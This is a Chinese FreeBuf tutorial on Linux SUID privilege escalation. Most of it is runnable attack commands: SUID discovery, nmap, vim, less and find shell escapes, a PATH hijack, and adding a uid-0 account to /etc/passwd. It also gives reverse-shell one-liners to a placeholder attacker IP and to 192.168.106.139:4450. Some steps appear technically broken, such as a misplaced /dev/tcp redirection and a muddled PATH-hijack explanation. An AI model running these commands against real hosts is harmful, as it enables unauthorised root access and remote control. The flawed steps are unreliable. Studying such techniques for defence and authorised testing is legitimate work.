freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Linux提权之suid提权
2023-09-09 12:37:42

Linux提权之suid提权

什么是suid?

suid(set user ID)是一种Linux文件权限,它允许用户在执行某个程序时,以该程序所有者的身份运行。这样,用户就可以获得该程序所有者的权限,从而执行一些需要高级权限的操作。

为什么suid可以用于提权?

suid可以用于提权,是因为有些程序在执行时需要比普通用户更高的权限,例如passwd、ping、su等。这些程序通常由root用户或其他特权用户拥有,并设置了suid位,以便其他用户可以使用它们。如果这些程序存在漏洞或者被恶意修改,那么执行它们的用户就可能以root或其他特权用户的身份执行任意命令,从而实现提权。

如何寻找和利用suid程序?

寻找和利用suid程序的步骤如下:

  • 使用find命令查找系统中设置了suid位的可执行文件。例如:

find / -perm -u=s -type f 2>/dev/null

这条命令的意思是查找系统中设置了suid位的可执行文件,并忽略错误信息。详细解释如下:

  • find是一个查找文件的工具,它可以根据不同的条件来搜索文件。

  • /是一个路径,表示从根目录开始搜索。

  • -perm -u=s是一个选项,表示只匹配那些用户(u)权限中包含suid(s)位的文件。suid位是一种特殊的文件权限,它允许用户在执行某个程序时,以该程序所有者的身份运行。

  • -type f是一个选项,表示只匹配那些类型(type)为普通文件(f)的文件。这样可以排除目录、链接、设备等其他类型的文件。

  • 2>/dev/null是一个重定向,表示将错误信息(2)输出到空设备(/dev/null),从而忽略错误信息。这样可以避免一些无关紧要的信息干扰搜索结果。

  • 分析找到的suid程序,判断是否存在漏洞或者是否可以被滥用。例如:

    • 判断是否可以使用shell命令作为参数传递给suid程序。例如:

    /usr/bin/nmap --interactive
    !sh

    这两条命令的意思是利用nmap的交互模式执行shell命令,从而获取suid提权。详细解释如下:

    • /usr/bin/nmap是一个端口扫描工具,它可以用来探测网络中的主机和服务。它的路径是/usr/bin/nmap,表示它位于/usr/bin目录下。

    • --interactive是一个选项,表示进入nmap的交互模式。在这个模式下,用户可以输入nmap的命令来执行扫描或者其他操作。

    • !sh是一个特殊的命令,表示在nmap的交互模式下,执行shell命令。在这里,!表示执行后面的命令,而不是nmap的命令。sh表示启动一个shell,也就是一个命令行界面。

      如果nmap有suid权限,那么执行这两条命令后,用户就可以以nmap的所有者(通常是root)的身份运行shell命令,从而实现提权。

    • 判断是否可以通过环境变量或者配置文件影响suid程序的行为。例如:

    export PATH=/tmp:$PATH
    echo "/bin/sh" > /tmp/cat
    chmod +x /tmp/cat
    /usr/bin/find / -exec cat {} \;
    • export PATH=/tmp:$PATH是一个设置环境变量的命令,它表示将/tmp目录添加到PATH变量的最前面。PATH变量是一个存储可执行文件路径的变量,当用户输入一个命令时,系统会按照PATH变量中的顺序,从左到右,依次查找该命令所在的目录。如果在某个目录中找到了该命令,那么就执行该命令。如果没有找到,那么就报错。

    • echo "/bin/sh" > /tmp/cat是一个输出字符串到文件的命令,它表示将字符串/bin/sh输出到/tmp/cat文件中。/bin/sh是一个shell程序的路径,它可以用来执行命令行界面。/tmp/cat是一个文件名,它和一个常用的查看文件内容的工具cat同名,这是故意的,为了后面的利用。

    • chmod +x /tmp/cat是一个修改文件权限的命令,它表示给予/tmp/cat文件可执行(x)权限。这样,该文件就可以被当作一个程序来运行。

    • /usr/bin/find / -exec cat {} \;是一个查找文件并执行命令的工具,它表示从根目录(/)开始查找所有的文件,并对每个找到的文件执行cat命令。cat命令本来是用来查看文件内容的,但是在这里,由于之前修改了环境变量和创建了同名文件,所以系统会优先执行/tmp/cat文件,而不是真正的cat工具。而/tmp/cat文件中的内容就是启动一个shell程序。因此,这条命令实际上就是对每个找到的文件都启动一个shell程序。

    • 如果find有suid权限,那么执行这四条命令后,用户就可以以find的所有者(通常是root)的身份运行shell程序,从而实现提权。

  • 利用找到的漏洞或者滥用方法,执行提权命令。例如:

    • 修改/etc/passwd文件,添加一个新的root用户。例如:

    echo "hacker:$(openssl passwd -1 -salt hacker hacker):0:0:hacker:/root:/bin/bash" >> /etc/passwd
    su hacker
  • 验证提权是否成功。例如:

id
whoami

以下是我整理的一些常见的suid提权的程序或命令,以及它们的利用方法:

  • nmap:nmap是一个端口扫描工具,如果它的版本在2.02-5.21之间,并且有suid权限,那么可以利用它的交互模式执行任意命令。具体步骤如下:

    • 运行nmap --interactive进入交互模式

    • 运行!sh或者其他命令获取shell

    • 如果需要反弹shell,可以运行!bash -i >& /dev/tcp/攻击者IP/端口 0>&1

  • vim:vim是一个文本编辑器,如果它有suid权限,那么可以利用它的shell选项执行任意命令。具体步骤如下:

    • 运行vim.tiny或者其他版本的vim

    • 按下ESC键,输入:set shell=/bin/sh

    • 输入:shell获取shell

  • find:find是一个查找文件的工具,如果它有suid权限,那么可以利用它的-exec选项执行任意命令。具体步骤如下:

    • 运行find / -exec /bin/sh \;获取shell

    • 如果需要反弹shell,可以运行find / -exec bash -i >& /dev/tcp/192.168.106.139/4450 0>&1 \;

  • less/more:less和more是两个查看文件内容的工具,如果它们有suid权限,那么可以利用它们的!选项执行任意命令。具体步骤如下:

    • 运行less /etc/passwd或者more /etc/passwd

    • 输入!/bin/sh或者其他命令获取shell

  • cp/mv:cp和mv是两个复制和移动文件的工具,如果它们有suid权限,那么可以利用它们覆盖一些敏感文件,例如/etc/passwd或者/etc/shadow。具体步骤如下:

    • 创建一个新的passwd或者shadow文件,其中包含一个新的root用户和密码

    • 运行cp 新文件 /etc/passwd或者mv 新文件 /etc/passwd

    • 运行su 新用户获取root权限

# 漏洞 # 系统安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录